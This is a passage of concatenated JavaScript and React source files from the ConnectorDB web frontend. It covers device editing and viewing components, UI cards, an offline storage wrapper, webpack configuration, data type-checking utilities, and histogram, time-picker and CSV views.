label="Reset API Key"
checked={edits.apikey !== undefined}
onCheck={this.props.callbacks.apikeyChange}
/>
<RoleEditor
roles={this.props.roles}
role={edits.role !== undefined ? edits.role : device.role}
type="device"
onChange={this.props.callbacks.roleChange}
/>
</ObjectEdit>
);
}
}
export default connect(
state => ({ roles: state.site.roles.device }),
(dispatch, props) => {
let name = props.user.name + "/" + props.device.name;
return {
callbacks: {
nicknameChange: (e, txt) =>
dispatch({ type: "DEVICE_EDIT_NICKNAME", name: name, value: txt }),
descriptionChange: (e, txt) =>
dispatch({ type: "DEVICE_EDIT_DESCRIPTION", name: name, value: txt }),
roleChange: (e, role) =>
dispatch({ type: "DEVICE_EDIT_ROLE", name: name, value: role }),
publicChange: (e, val) =>
dispatch({ type: "DEVICE_EDIT_PUBLIC", name: name, value: val }),
apikeyChange: (e, val) =>
dispatch({ type: "DEVICE_EDIT_APIKEY", name: name, value: val }),
enabledChange: (e, val) =>
dispatch({ type: "DEVICE_EDIT_ENABLED", name: name, value: val }),
visibleChange: (e, val) =>
dispatch({ type: "DEVICE_EDIT_VISIBLE", name: name, value: val }),
iconChange: (e, val) =>
dispatch({ type: "DEVICE_EDIT", name: name, value: { icon: val } })
},
onCancel: () => dispatch(editCancel("DEVICE", name)),
onSave: () =>
dispatch(saveObject("device", name, props.device, props.state)),
onDelete: () => dispatch(deleteObject("device", name))
};
}
)(DeviceEdit);
<file_sep>/*
This component is colored like the search bar to make it clear that stuff inside it is related to search
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { Card, CardText, CardHeader } from "material-ui/Card";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
class SearchCard extends Component {
static propTypes = {
title: PropTypes.string,
subtitle: PropTypes.string,
color: PropTypes.string,
onClose: PropTypes.func
};
static defaultProps = {
color: "#00b34a"
};
render() {
if (this.props.onClose !== undefined) {
}
return (
<Card
style={{
marginTop: "25px",
textAlign: "left",
marginBottom: "20px",
backgroundColor: this.props.color
}}
>
{this.props.title !== undefined
? <CardHeader
title={this.props.title}
titleColor="white"
titleStyle={{
fontWeight: "bold"
}}
subtitle={this.props.subtitle}
>
{this.props.onClose !== undefined
? <div
style={{
float: "right",
marginRight: "0px",
marginTop: this.props.subtitle === undefined
? "-15px"
: "-5px",
marginLeft: "-300px"
}}
>
<IconButton onTouchTap={() => this.props.onClose()}>
<FontIcon
className="material-icons"
color="rgba(0,0,0,0.5)"
>
close
</FontIcon>
</IconButton>
</div>
: null}
</CardHeader>
: null}
{" "}
{this.props.children !== undefined && this.props.children.length > 0
? <CardText
style={{
textAlign: "center",
color: "white"
}}
>
{this.props.children}
</CardText>
: null}
</Card>
);
}
}
export default SearchCard;
<file_sep>/*
The frontend stores users/devices/streams locally in the browser, so that the app can be used offline.
We therefore need a method to simply access these values, without worrying about whether they are available,
or in our local storage, or if we are querying them, or whatever may be happening.
While storage.js implements the actual querying, connectStorage is a special wrapper element, which allows any
child component to go from user/device/stream names, to having actual component data.
For example, connectStorage will go from the STRINGS 'myuser' 'mydevice' 'mystream', and give to its child component
the actual myuser,mydevice, and mystream OBJECTS which contain the actual data.
Furthermore, connectStorage is subscribed to the storage itself, so whenever there are updates using the REST api,
the values are immediately reflected in the outputs, so all child components are always up to date.
Usage:
connectStorage(myComponent,false,false);
*/
// TODO: I cry when I see code like this. What makes it all the more horrible is that *I* am
// the person who wrote it... This really needs to be refactored... - dkumor
import React, { Component } from "react";
import PropTypes from "prop-types";
import storage from "./storage";
import createClass from "create-react-class";
const NoQueryIfWithinMilliseconds = 1000;
export default function connectStorage(Component, lsdev, lsstream) {
return createClass({
propTypes: {
user: PropTypes.string,
device: PropTypes.string,
stream: PropTypes.string,
match: PropTypes.shape({
params: PropTypes.shape({
user: PropTypes.string,
device: PropTypes.string,
stream: PropTypes.string
})
})
},
getUser(props) {
if (props === undefined) {
props = this.props;
}
if (props.user !== undefined) return props.user;
if (props.match.params.user !== undefined) return props.match.params.user;
return "";
},
getDevice(props) {
if (props === undefined) {
props = this.props;
}
if (props.device !== undefined) return props.device;
if (props.match.params.device !== undefined)
return props.match.params.device;
return "";
},
getStream(props) {
if (props === undefined) {
props = this.props;
}
if (props.stream !== undefined) return props.stream;
if (props.match.params.stream !== undefined)
return props.match.params.stream;
return "";
},
getInitialState: function() {
return {
user: null,
device: null,
stream: null,
error: null,
devarray: null,
streamarray: null
};
},
getData: function(nextProps) {
var thisUser = this.getUser(nextProps);
// Get the user/device/stream from cache - this allows the app to feel fast in
// slow internet, and enables working in offline mode
storage.get(thisUser).then(response => {
if (response != null) {
if (response.ref !== undefined) {
this.setState({ error: response });
} else if (response.name !== undefined) {
this.setState({ user: response });
// If the user was recently queried, don't query it again needlessly
if (response.timestamp > Date.now() - NoQueryIfWithinMilliseconds) {
return;
}
}
}
// The query will be caught by the callback
storage.query(thisUser).catch(err => console.log(err));
});
if (this.getDevice(nextProps) != "") {
var thisDevice = thisUser + "/" + this.getDevice(nextProps);
storage.get(thisDevice).then(response => {
if (response != null) {
if (response.ref !== undefined) {
this.setState({ error: response });
} else if (response.name !== undefined) {
this.setState({ device: response });
// If the user was recently queried, don't query it again needlessly
if (
response.timestamp >
Date.now() - NoQueryIfWithinMilliseconds
) {
return;
}
}
}
// The query will be caught by the callback
storage.query(thisDevice).catch(err => console.log(err));
});
if (this.getStream(nextProps) != "") {
var thisStream = thisDevice + "/" + this.getStream(nextProps);
storage.get(thisStream).then(response => {
if (response != null) {
if (response.ref !== undefined) {
this.setState({ error: response });
} else if (response.name !== undefined) {
this.setState({ stream: response });
// If the user was recently queried, don't query it again needlessly
if (
response.timestamp >
Date.now() - NoQueryIfWithinMilliseconds
) {
return;
}
}
}
// The query will be caught by the callback
storage.query(thisStream).catch(err => console.log(err));
});
}
}
//Whether or not to add lists of children
if (lsdev) {
storage.ls(thisUser).then(response => {
if (response.ref !== undefined) {
this.setState({ error: response });
} else {
this.setState({ devarray: response });
}
// The query will be caught by the callback
storage.query_ls(thisUser).catch(err => console.log(err));
});
}
if (lsstream) {
storage.ls(thisDevice).then(response => {
if (response.ref !== undefined) {
this.setState({ error: response });
} else {
this.setState({ streamarray: response });
}
// The query will be caught by the callback
storage.query_ls(thisDevice); //.catch(err => console.log(err));
});
}
},
componentWillMount: function() {
// https://stackoverflow.com/questions/1349404/generate-a-string-of-5-random-characters-in-javascript
this.callbackID = Math.random().toString(36).substring(7);
// Add the callback for storage
storage.addCallback(this.callbackID, (path, obj) => {
// If the current user/device/stream was updated, update the view
let thisUser = this.getUser();
let thisDevice = thisUser + "/" + this.getDevice();
let thisStream = thisDevice + "/" + this.getStream();
if (path == thisUser) {
if (obj.ref !== undefined) {
this.setState({ error: obj });
} else {
this.setState({ user: obj });
}
} else if (path == thisDevice) {
if (obj.ref !== undefined) {
this.setState({ error: obj });
} else {
this.setState({ device: obj });
}
} else if (path == thisStream) {
if (obj.ref !== undefined) {
this.setState({ error: obj });
} else {
this.setState({ stream: obj });
}
} else if (
(lsdev || lsstream) &&
obj.ref === undefined &&
path.startsWith(thisUser + "/")
) {
// We might want to update our arrays
let p = path.split("/");
switch (p.length) {
case 2:
if (lsdev) {
let ndevarray = Object.assign({}, this.state.devarray);
ndevarray[path] = obj;
this.setState({ devarray: ndevarray });
}
break;
case 3:
if (p[1] == this.getDevice() && lsstream) {
let nsarray = Object.assign({}, this.state.streamarray);
nsarray[path] = obj;
this.setState({ streamarray: nsarray });
}
break;
}
}
});
this.getData(this.props);
},
componentWillUnmount() {
storage.remCallback(this.callbackID);
},
componentWillReceiveProps(nextProps) {
if (
this.getUser() != this.getUser(nextProps) ||
this.getDevice() != this.getDevice(nextProps) ||
this.getStream() != this.getStream(nextProps)
) {
this.setState({
user: null,
device: null,
stream: null,
devarray: null,
streamarray: null,
error: null
});
this.getData(nextProps);
}
},
render: function() {
return (
<Component
{...this.props}
user={this.state.user}
device={this.state.device}
stream={this.state.stream}
error={this.state.error}
devarray={this.state.devarray}
streamarray={this.state.streamarray}
/>
);
}
});
}
<file_sep>var webpack = require("webpack");
var path = require("path");
if (Promise === undefined) {
require("es6-promise").polyfill();
}
// Use the ConnectorDB bin directory to output files for easy debugging
var BUILD_DIR = path.resolve(__dirname, "../../bin/app");
var APP_DIR = path.resolve(__dirname, "js");
var env = process.env.NODE_ENV;
var config = {
entry: APP_DIR + "/index.js",
output: {
path: BUILD_DIR,
filename: "bundle.js",
libraryTarget: "var",
library: "App",
publicPath: "/app/"
},
module: {
noParse: /node_modules\/pipescript/,
rules: [
{
test: /\.jsx?/,
include: APP_DIR,
loader: "babel-loader"
},
{
test: /\.css$/,
use: ["style-loader", "css-loader"]
}
]
},
plugins: [
new webpack.DefinePlugin({ "process.env.NODE_ENV": JSON.stringify(env) })
]
};
if (env === "production") {
config.plugins.push(
new webpack.optimize.UglifyJsPlugin({
compress: {
pure_getters: true,
unsafe: true,
unsafe_comps: true,
screw_ie8: true,
warnings: false
}
})
);
}
module.exports = config;
<file_sep>/*
An expandable card is used for inputs and views. It allows the card to be either half-width or full width based on
its width parameter and its state. The card also is set up for easy use with toolbar icons
For its state, it is given either undefined, or a specific value, in which case the state overrides size.
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { Card, CardText, CardHeader } from "material-ui/Card";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
class ExpandableCard extends Component {
static propTypes = {
// The size to show the card. One of:
// half,full,expandable-half,expandable-full
width: PropTypes.string.isRequired,
// state: if given, overrides default
// view info for the card
state: PropTypes.object.isRequired,
// Called to set the state
setState: PropTypes.func.isRequired,
// The dropdown is optional - if set, it shows the down arrow
// allowing the component to show expanded options
dropdown: PropTypes.element,
// An optional array of icons to display
icons: PropTypes.arrayOf(PropTypes.element),
title: PropTypes.string.isRequired,
subtitle: PropTypes.string.isRequired,
style: PropTypes.object,
avatar: PropTypes.element
};
render() {
let state = this.props.state;
let setState = this.props.setState;
let width = this.props.width;
let expandable = width.startsWith("expandable");
if (expandable) {
switch (width) {
case "expandable":
width = "half";
break;
case "expandable-half":
width = "half";
break;
case "expandable-full":
width = "full";
break;
}
// If the card is expandable, we might have an overridden value in the state
if (state.width !== undefined) {
width = state.width;
}
}
let hasDropdown =
this.props.dropdown !== undefined && this.props.dropdown !== null;
// Now, we construct the icons to show on the right side of the card.
// We have the dropdown icon (which is automatically shown if dropdown is activated)
// we have the expand icon if the card can be switched between full and half width,
// and finally, we have the optional array of icons that might have been passed in.
// We therefore construct a large array of icons from the one we have
let iconRightMargin = hasDropdown ? 35 : 0;
let iconarray = [];
if (this.props.icons !== undefined && this.props.icons != null) {
iconarray = this.props.icons.slice(0);
}
// Now, if this card is expandable, add the expand icon/contract icon depending on which one is correct
if (expandable) {
if (width === "full") {
iconarray.push(
<IconButton
key="expand"
onTouchTap={val => setState({ ...state, width: "half" })}
tooltip="Make This Card Smaller"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
call_received
</FontIcon>
</IconButton>
);
} else {
iconarray.push(
<IconButton
key="expand"
onTouchTap={val => setState({ ...state, width: "full" })}
tooltip="Expand to Full Width"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
call_made
</FontIcon>
</IconButton>
);
}
}
return (
<div className={width === "full" ? "col-lg-12" : "col-lg-6"}>
<Card
style={{
marginTop: "20px",
textAlign: "left"
}}
onExpandChange={val =>
setState({
...state,
expanded: val
})}
expanded={state.expanded}
>
<CardHeader
title={this.props.title}
subtitle={this.props.subtitle}
showExpandableButton={hasDropdown}
avatar={this.props.avatar}
>
<div
style={{
float: "right",
marginRight: iconRightMargin,
marginTop: this.props.subtitle == "" ? "-15px" : "-3px",
marginLeft: "-300px"
}}
>
{iconarray}
</div>
</CardHeader>
{hasDropdown
? <CardText
expandable={true}
style={{
backgroundColor: "rgba(0,179,74,0.05)",
paddingBottom: "30px"
}}
>
{this.props.dropdown}
</CardText>
: null}
<CardText style={this.props.style}>
{this.props.children}
</CardText>
</Card>
</div>
);
}
}
export default ExpandableCard;
<file_sep>/*
Creators allow different datatypes to have different forms shown when creating a stream.
This file is imported at the beginning of the app, and it imports all of the available creators
so that they can be registered.
*/
import "./default";
import "./rating.stars";
import "./log.diary";
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import Checkbox from "material-ui/Checkbox";
class PublicEditor extends Component {
static propTypes = {
public: PropTypes.bool.isRequired,
onChange: PropTypes.func.isRequired,
type: PropTypes.string.isRequired
};
render() {
return (
<div>
<h3>Public</h3>
<p>
Whether or not the {this.props.type + " "}
can be accessed (viewed) by other users or devices.
</p>
<Checkbox
label="Public"
checked={this.props.public}
onCheck={this.props.onChange}
/>
</div>
);
}
}
export default PublicEditor;
<file_sep>/**
DataViewCard is the card which holds a "data view" - it is given stream details as well as
the array of datapoints that was queried, and a "view", which is defined in the datatypes folder.
You can find examples of this card when looking at stream data - all plots and data tables are "views" rendered
within DataViewCards.
The DataViewCard sets up the view and displays it within its card. It manages the display size
of the card, as well as managing the extra dropdown options (if given). This greatly simplifies
the repeated code used in each view.
**/
import React, { Component } from "react";
import PropTypes from "prop-types";
import ExpandableCard from "./ExpandableCard";
// Several properties in a view accept both a direct value OR a generator function that
// takes in the current state, and sets the view's value. This function extracts the correct
// value from these properties
function extractValue(value, context) {
if (typeof value === "function") {
return value(context);
}
return value;
}
class DataViewCard extends Component {
static propTypes = {
view: PropTypes.object.isRequired,
state: PropTypes.object.isRequired,
setState: PropTypes.func.isRequired,
schema: PropTypes.object.isRequired,
datatype: PropTypes.string.isRequired,
pipescript: PropTypes.object,
msg: PropTypes.func.isRequired,
data: PropTypes.arrayOf(PropTypes.object).isRequired
};
render() {
let view = this.props.view;
let context = {
schema: this.props.schema,
datatype: this.props.datatype,
pipescript: this.props.pipescript,
state: this.props.state,
msg: this.props.msg,
data: this.props.data,
setState: this.props.setState
};
let dropdown = null;
if (view.dropdown !== undefined) {
dropdown = <view.dropdown {...context} />;
}
return (
<ExpandableCard
width={view.width}
state={this.props.state}
icons={extractValue(view.icons, context)}
setState={context.setState}
dropdown={dropdown}
title={extractValue(view.title, context)}
subtitle={extractValue(view.subtitle, context)}
style={extractValue(view.style, context)}
>
<view.component {...context} />
</ExpandableCard>
);
}
}
export default DataViewCard;
<file_sep>/**
* This file defines functions which check for various data formats for data arrays. The views use these functions to determine whether or not
* they can do a visualization of the data.
*
* These functions also cache their last argument, meaning that calls from multiple views to determine properties of a dataset are *very* cheap.
*/
// Check if the supplied data is of the given types
export const isBool = d =>
typeof d === "boolean" || d === "true" || d === "false" || d === 1 || d === 0;
export const isNumber = d =>
(!isNaN(parseFloat(d)) && isFinite(d)) || isBool(d);
export const isString = d => typeof d === "string";
export const isObject = d => typeof d === "object" && d !== null;
export const isKey = d => isNumber(d) || isString(d);
export const isLocation = d =>
isObject(d) &&
isNumber(d["latitude"]) &&
isNumber(d["longitude"]) &&
(d["accuracy"] === undefined || isNumber(d["accuracy"]));
// Returns true or false
function getBool(d) {
if (typeof d === "boolean") {
return d;
}
return d === "true" || d === 1;
}
export function getNumber(d) {
let n = parseFloat(d);
if (isNaN(n)) return getBool(d) ? 1 : 0;
return n;
}
// I represents the data portion of a datapoint (identity). It is the default transform function used.
export const I = d => d.d;
// https://stackoverflow.com/questions/9716468/is-there-any-function-like-isnumeric-in-javascript-to-validate-numbers
function isOnlyNumeric(n) {
return !isNaN(parseFloat(n)) && isFinite(n);
}
// This is a custom comparison function used to sort the keys in increasing order.
// We order things as follows:
// - If we think that both keys are in a similar format, and have floats in them, sort by the float.
// - Otherwise, perform a normal compare
var floatmatcher = /[+-]?\d+(\.\d+)?/g;
export function dataKeyCompare(a, b) {
// We first try to extract a number from both strings
// http://stackoverflow.com/questions/17374893/how-to-extract-floating-numbers-from-strings-in-javascript
let numa = a.match(floatmatcher);
if (numa != null && numa.length > 0) {
let numb = b.match(floatmatcher);
if (numb != null && numa.length == numb.length) {
let na = parseFloat(numa[0]);
let nb = parseFloat(numb[0]);
return na < nb ? -1 : na == nb ? 0 : 1;
}
}
// Since we couldn't extract a number, try to match the data values
if (isOnlyNumeric(this[a]) && isOnlyNumeric(this[b])) {
a = this[a];
b = this[b];
}
// Otherwise, return just normal string compare
return a > b ? -1 : a == b ? 0 : 1;
}
/**
* The cache allows us to do expensive type checking. Each check is only done ONCE for
* each datapoint array, with given transform function.
*
* The cache has as its keys the datapoint arrays.
* The value stored is another WeakMap of the transform functions. A transform function in this context
* is NOT a pipescript transform, but rather a javascript function that transforms a datapoint into another
* value. The specific details are left to the type-checking functions to figure out
*/
let typecache = new WeakMap();
/**
* Gets the cached results from previous type checks
* @param {array} d the datapoint array
* @param {function} f the transform function(s) for this cache
*/
function getCache(d, f) {
if (!typecache.has(d)) return {};
return typecache.get(d).get(f) || {};
}
/**
* Sets the cache
* @param {*} d the datapoint array
* @param {*} f the transform function(s)
* @param {*} v the object of values to set
*/
function setCache(d, f, v) {
let c = {
...getCache(d, f),
...v
};
if (!typecache.has(d)) {
let fcache = new WeakMap();
fcache.set(f, c);
typecache.set(d, fcache);
return;
}
typecache.get(d).set(f, c);
}
/**
* This function allows us to quickly return results without recomputing
* things, which can be a pretty expensive operation once the datapoint arrays
* get large.
*
* @param {string} key the key to use in the cache for storing results
* @param {function} fn the function that computes the data
*/
function cacheWrapper(key, fn) {
return function(d, f = I, nolog = false) {
// if we already computed on this object, just return it.
let c = getCache(d, f);
if (c[key] !== undefined) {
return c[key];
}
let ret = fn(d, f);
let v = {};
v[key] = ret;
setCache(d, f, v);
if (!nolog) console.log("TYPECHECK", key, ret);
return ret;
};
}
/**
* Checks if the given datapoint array is all objects, and returns the keys of the object
* as well as the min and max keys
* @param {*} d datapoint array
* @param {*} f transform function to use when checking
*/
export const keys = cacheWrapper("keys", function(d, f) {
if (d.length === 0) return null;
// This map will count the number of times each key is seen in the full array
let keymap = {};
for (let i = 0; i < d.length; i++) {
let dp = f(d[i]);
if (!isObject(dp)) return null;
Object.keys(dp).map(function(k) {
if (keymap[k] === undefined) {
keymap[k] = 1;
} else {
keymap[k]++;
}
});
}
let mink = {};
Object.keys(keymap).map(function(k) {
if (keymap[k] === d.length) {
mink[k] = true;
}
});
// Return both the full keymap, and the min keymap
// representing keys shared by all
return {
all: keymap,
min: mink
};
});
/**
* Checks if the given datapoint sequence can be interpreted as a sequence of numbers,
* and returns the transform function that allows one to extract the numbers.
*
* @param {*} d datapoint array
* @param {*} f transform function to use when checking. Default is identity.
*
* @return transform function that gives the number, or null if not numeric
*/
export const numeric = cacheWrapper("numeric", function(d, f) {
if (d.length === 0) return null;
let key = "";
// We want to be able to recognize an object with a single element which is a number as numeric,
// since this is a very common case for T-Datasets.
if (isObject(f(d[0]))) {
// Looks like it is an object. If it has only one key, we can still use that one key
let k = keys(d, f);
if (
k == null ||
Object.keys(k.all).length != 1 ||
Object.keys(k.min).length != 1
)
return null;
key = Object.keys(k.min)[0];
if (isObject(f(d[0])[key])) return null;
let g = f;
f = x => g(x)[key];
}
// Gets the info on the data elements
let allbool = true;
let allint = true;
let min = 9999999999;
let max = -min;
for (let i = 0; i < d.length; i++) {
let dp = f(d[i]);
if (!isNumber(dp)) return null;
if (allbool && !isBool(dp)) {
allbool = false;
}
let n = getNumber(dp);
if (allint && !Number.isInteger(n)) {
allint = false;
}
if (n > max) max = n;
if (n < min) min = n;
}
return {
key: key,
allbool: allbool,
allint: allint,
min: min,
max: max,
normalizer: min == max ? d => 0 : d => (d - min) / (max - min),
f: n => getNumber(f(n))
};
});
/**
* Returns whether the data given can be considered categorical
*/
export const categorical = cacheWrapper("categorical", function(d, f) {
if (d.length === 0) return null;
let kv = new Map();
let unique = 0;
for (let i = 0; i < d.length; i++) {
let dp = f(d[i]);
if (!isKey(dp)) return null;
if (!kv.has(dp)) {
kv.set(dp, 0);
unique++;
if (unique > 200) return null;
}
kv.set(dp, kv.get(dp) + 1);
}
let v = {
categories: unique,
total: d.length,
categorymap: kv
};
let c =
v.categories / v.total < 0.5 ||
(v.categories < v.total && v.categories < 20);
return c ? v : null;
});
export const location = cacheWrapper("location", function(d, f) {
if (d.length === 0) return null;
for (let i = 0; i < d.length; i++) {
let dp = f(d[i]);
if (!isLocation(dp)) return null;
}
return {
boundingBox: true // TODO: a bounding box
};
});
export const objectvalues = cacheWrapper("object", function(d, f) {
if (d.length === 0) return null;
if (location(d, f) !== null) return null; // If it is a location, we pretend it is not an object anyore
let k = keys(d, f);
if (k === null) return null;
let v = {};
Object.keys(k.min).map(function(k) {
let f2 = x => f(x)[k];
v[k] = {
numeric: numeric(d, f2, true),
categorical: categorical(d, f2, true),
location: location(d, f2, true)
};
});
return v;
});
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import Subheader from "material-ui/Subheader";
import {
Table,
TableBody,
TableHeader,
TableHeaderColumn,
TableRow,
TableRowColumn
} from "material-ui/Table";
import FlatButton from "material-ui/FlatButton";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
import { go } from "../actions";
import TimeDifference from "../components/TimeDifference";
import ObjectCard from "../components/ObjectCard";
import ObjectList from "../components/ObjectList";
import { objectFilter } from "../util";
class DeviceView extends Component {
static propTypes = {
user: PropTypes.shape({ name: PropTypes.string.isRequired }).isRequired,
device: PropTypes.shape({ name: PropTypes.string.isRequired }).isRequired,
streamarray: PropTypes.object.isRequired,
state: PropTypes.shape({ expanded: PropTypes.bool.isRequired }).isRequired,
onEditClick: PropTypes.func.isRequired,
onExpandClick: PropTypes.func.isRequired,
onAddClick: PropTypes.func.isRequired,
onStreamClick: PropTypes.func.isRequired
};
constructor(props) {
super(props);
this.state = {
apikey: false
};
}
render() {
let state = this.props.state;
let user = this.props.user;
let device = this.props.device;
return (
<div>
<ObjectCard
expanded={state.expanded}
onEditClick={this.props.onEditClick}
onExpandClick={this.props.onExpandClick}
style={{
textAlign: "left"
}}
object={device}
path={user.name + "/" + device.name}
>
<Table selectable={false}>
<TableHeader
enableSelectAll={false}
displaySelectAll={false}
adjustForCheckbox={false}
>
<TableRow>
<TableHeaderColumn>Enabled</TableHeaderColumn>
<TableHeaderColumn>Public</TableHeaderColumn>
<TableHeaderColumn>Role</TableHeaderColumn>
<TableHeaderColumn>Queried</TableHeaderColumn>
</TableRow>
</TableHeader>
<TableBody displayRowCheckbox={false}>
<TableRow>
<TableRowColumn>
{device.enabled ? "true" : "false"}
</TableRowColumn>
<TableRowColumn>
{device.public ? "true" : "false"}
</TableRowColumn>
<TableRowColumn>
{device.role == "" ? "none" : device.role}
</TableRowColumn>
<TableRowColumn>
<TimeDifference timestamp={device.timestamp} />
</TableRowColumn>
</TableRow>
</TableBody>
</Table>
{device.apikey !== undefined && device.apikey != ""
? <div
style={{
marginTop: "20px",
textAlign: "center",
color: "rgba(0, 0, 0, 0.541176)"
}}
>
{this.state.apikey
? <div>
<h4>API Key</h4>
<p>{device.apikey}</p>
<IconButton
tooltip="Hide API Key"
onTouchTap={() => this.setState({ apikey: false })}
>
<FontIcon className="material-icons">
lock_outline
</FontIcon>
</IconButton>
</div>
: <FlatButton
label="Show API Key"
labelStyle={{ textTransform: "none" }}
onTouchTap={() => this.setState({ apikey: true })}
icon={
<FontIcon className="material-icons">
lock_open
</FontIcon>
}
/>}
</div>
: null}
</ObjectCard>
<Subheader
style={{
marginTop: "20px"
}}
>
Streams
</Subheader>
<ObjectList
style={{
marginTop: "10px",
textAlign: "left"
}}
objects={objectFilter(state.search.text, this.props.streamarray)}
addName="stream"
onAddClick={this.props.onAddClick}
onSelect={this.props.onStreamClick}
/>
</div>
);
}
}
export default connect(undefined, (dispatch, props) => ({
onEditClick: () =>
dispatch(go(props.user.name + "/" + props.device.name + "#edit")),
onExpandClick: val =>
dispatch({
type: "DEVICE_VIEW_EXPANDED",
name: props.user.name + "/" + props.device.name,
value: val
}),
onAddClick: () =>
dispatch(go(props.user.name + "/" + props.device.name + "#create")),
onStreamClick: s => dispatch(go(s))
}))(DeviceView);
<file_sep>import { delay } from "redux-saga";
import { put, select, takeLatest } from "redux-saga/effects";
import storage from "../storage";
import { cdbPromise } from "../util";
function* navigate(action) {
if (action.payload.hash !== "#downlinks" || action.payload.pathname !== "/") {
return;
}
// We are to navigate to the downlinks page. Let's refresh the downlink stream list
let username = yield select(state => state.site.thisUser.name);
try {
let streams = yield cdbPromise(
storage.cdb.listUserStreams(username, "*", false, true, true)
); //.map((s) => ({ ...s, schema: JSON.parse(s.schema) }));
yield put({ type: "UPDATE_DOWNLINKS", value: streams });
} catch (err) {
console.log(err);
yield put({ type: "SHOW_STATUS", value: err.toString() });
}
}
export default function* downlinkSaga() {
yield takeLatest("@@router/LOCATION_CHANGE", navigate);
}
<file_sep>export const UserEditInitialState = {};
export default function userEditReducer(state, action) {
switch (action.type) {
case "USER_EDIT_CLEAR":
return UserEditInitialState;
case "USER_EDIT":
return Object.assign({}, state, action.value);
}
return state;
}
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import TextField from "material-ui/TextField";
class DatatypeEditor extends Component {
static propTypes = {
value: PropTypes.string.isRequired,
onChange: PropTypes.func.isRequired,
schema: PropTypes.string.isRequired
};
render() {
return (
<div>
<h3>Datatype</h3>
<p>
A stream's datatype tells ConnectorDB how the data should be
interpreted.
</p>
<TextField
hintText="rating.stars"
floatingLabelText="Datatype"
style={{
marginTop: "-20px"
}}
value={this.props.value}
onChange={this.props.onChange}
/>
<br />
</div>
);
}
}
export default DatatypeEditor;
<file_sep>/*
This view shows a histogram of numeric values, binned by a custom bin size
*/
import { addView } from "../datatypes";
import { generateDropdownBarChart } from "./components/DropdownBarChart";
import { numeric } from "./typecheck";
function HistView(key) {
let pretransform = key !== "" ? "$('" + key + "') | " : "";
return [
{
...generateDropdownBarChart(
"This view creates a histogram of your numeric values, with each bar being the bucket width.",
[
{
name: "Bar Size: 5",
transform: pretransform + "map(bucket(5),count)"
},
{
name: "Bar Size: 10",
transform: pretransform + "map(bucket(10),count)"
},
{
name: "Bar Size: 20",
transform: pretransform + "map(bucket(20),count)"
},
{
name: "Bar Size: 50",
transform: pretransform + "map(bucket(50),count)"
},
{
name: "Bar Size: 100",
transform: pretransform + "map(bucket(100),count)"
},
{
name: "Bar Size: 500",
transform: pretransform + "map(bucket(500),count)"
},
{
name: "Bar Size: 1000",
transform: pretransform + "map(bucket(1000),count)"
}
],
1
),
key: "histView",
title: "Histogram",
subtitle: ""
}
];
}
function showHistogramView(context) {
let d = context.data;
if (d.length < 7 || context.pipescript === null) {
return null;
}
let n = numeric(context.data);
if (n !== null && !n.allbool) {
return HistView(n.key);
}
return null;
}
addView(showHistogramView);
<file_sep>/*
The TimeChooser is a component that can be used as the dropdown of an input to permit
inserting datapoints at a specific time.
The main difficulty here is that the inserts will always succeed, even if the timestamp is
before an existing datapoint. This is because inserts are restamp default.
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import Toggle from "material-ui/Toggle";
import "bootstrap-daterangepicker/daterangepicker.css";
import DateRangePicker from "react-bootstrap-daterangepicker";
import moment from "moment";
// get the timestamp from the current state
export function getTimestamp(state) {
if (
state.customtimestamp === undefined ||
state.customtimestamp == false ||
state.timestamp === undefined
) {
return moment();
}
return state.timestamp;
}
class TimeChooser extends Component {
static propTypes = {
state: PropTypes.object.isRequired,
setState: PropTypes.func.isRequired
};
render() {
let state = this.props.state;
let customtimestamp =
state.customtimestamp !== undefined && state.customtimestamp == true;
let timestamp = state.timestamp !== undefined ? state.timestamp : moment();
return (
<div>
<Toggle
label="Custom Timestamp"
labelPosition="right"
toggled={customtimestamp}
onToggle={(v, d) => {
this.props.setState({ customtimestamp: d });
}}
trackStyle={{
backgroundColor: "#ff9d9d"
}}
/>
{" "}
{!customtimestamp
? null
: <div>
<DateRangePicker
startDate={state.timestamp}
singleDatePicker={true}
opens="left"
timePicker={true}
onEvent={(e, picker) =>
this.props.setState({ timestamp: picker.startDate })}
>
<div
id="reportrange"
className="selected-date-range-btn"
style={{
background: "#fff",
cursor: "pointer",
padding: "5px 10px",
border: "1px solid #ccc",
width: "100%",
textAlign: "center"
}}
>
<i className="glyphicon glyphicon-calendar fa fa-calendar pull-right" />
<span>{timestamp.format("YYYY-MM-DD hh:mm:ss a")}</span>
</div>
</DateRangePicker>
<p>
Make sure your timestamp is greater than all existing
datapoints!
</p>
</div>}
</div>
);
}
}
export default TimeChooser;
<file_sep>/*
The CSVView displays the currently queried data as a CSV text, that can be copied to clipboard and imported
into excel and such
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import moment from "moment";
import DataUpdater from "../components/DataUpdater";
import "codemirror/lib/codemirror.css";
import "codemirror/theme/monokai.css";
import CodeMirror from "react-codemirror";
class CSVView extends DataUpdater {
static propTypes = {
data: PropTypes.arrayOf(PropTypes.object).isRequired,
state: PropTypes.object.isRequired,
setState: PropTypes.func.isRequired
};
// transformDataset is required for DataUpdater to set up the modified state data
transformDataset(d) {
let dataset = "";
let dateFormat = "YYYY-MM-DD HH:mm:ss";
if (d.length > 0) {
// In order to show columns in the data table, we first check if the datapoints are objects...
// If they are, then we generate the table so that the object is the columns
if (d[0].d !== null && typeof d[0].d === "object") {
dataset = "Timestamp";
Object.keys(d[0].d).map(key => {
dataset += "," + key.capitalizeFirstLetter();
});
dataset += "\n";
for (let i = 0; i < d.length; i++) {
dataset += moment.unix(d[i].t).format(dateFormat);
Object.keys(d[i].d).map(key => {
dataset += ", " + JSON.stringify(d[i].d[key], undefined, 2);
});
dataset += "\n";
}
} else {
dataset = "Timestamp,Data\n";
for (let i = 0; i < d.length; i++) {
dataset +=
moment.unix(d[i].t).format(dateFormat) +
"," +
JSON.stringify(d[i].d) +
"\n";
}
}
}
return dataset;
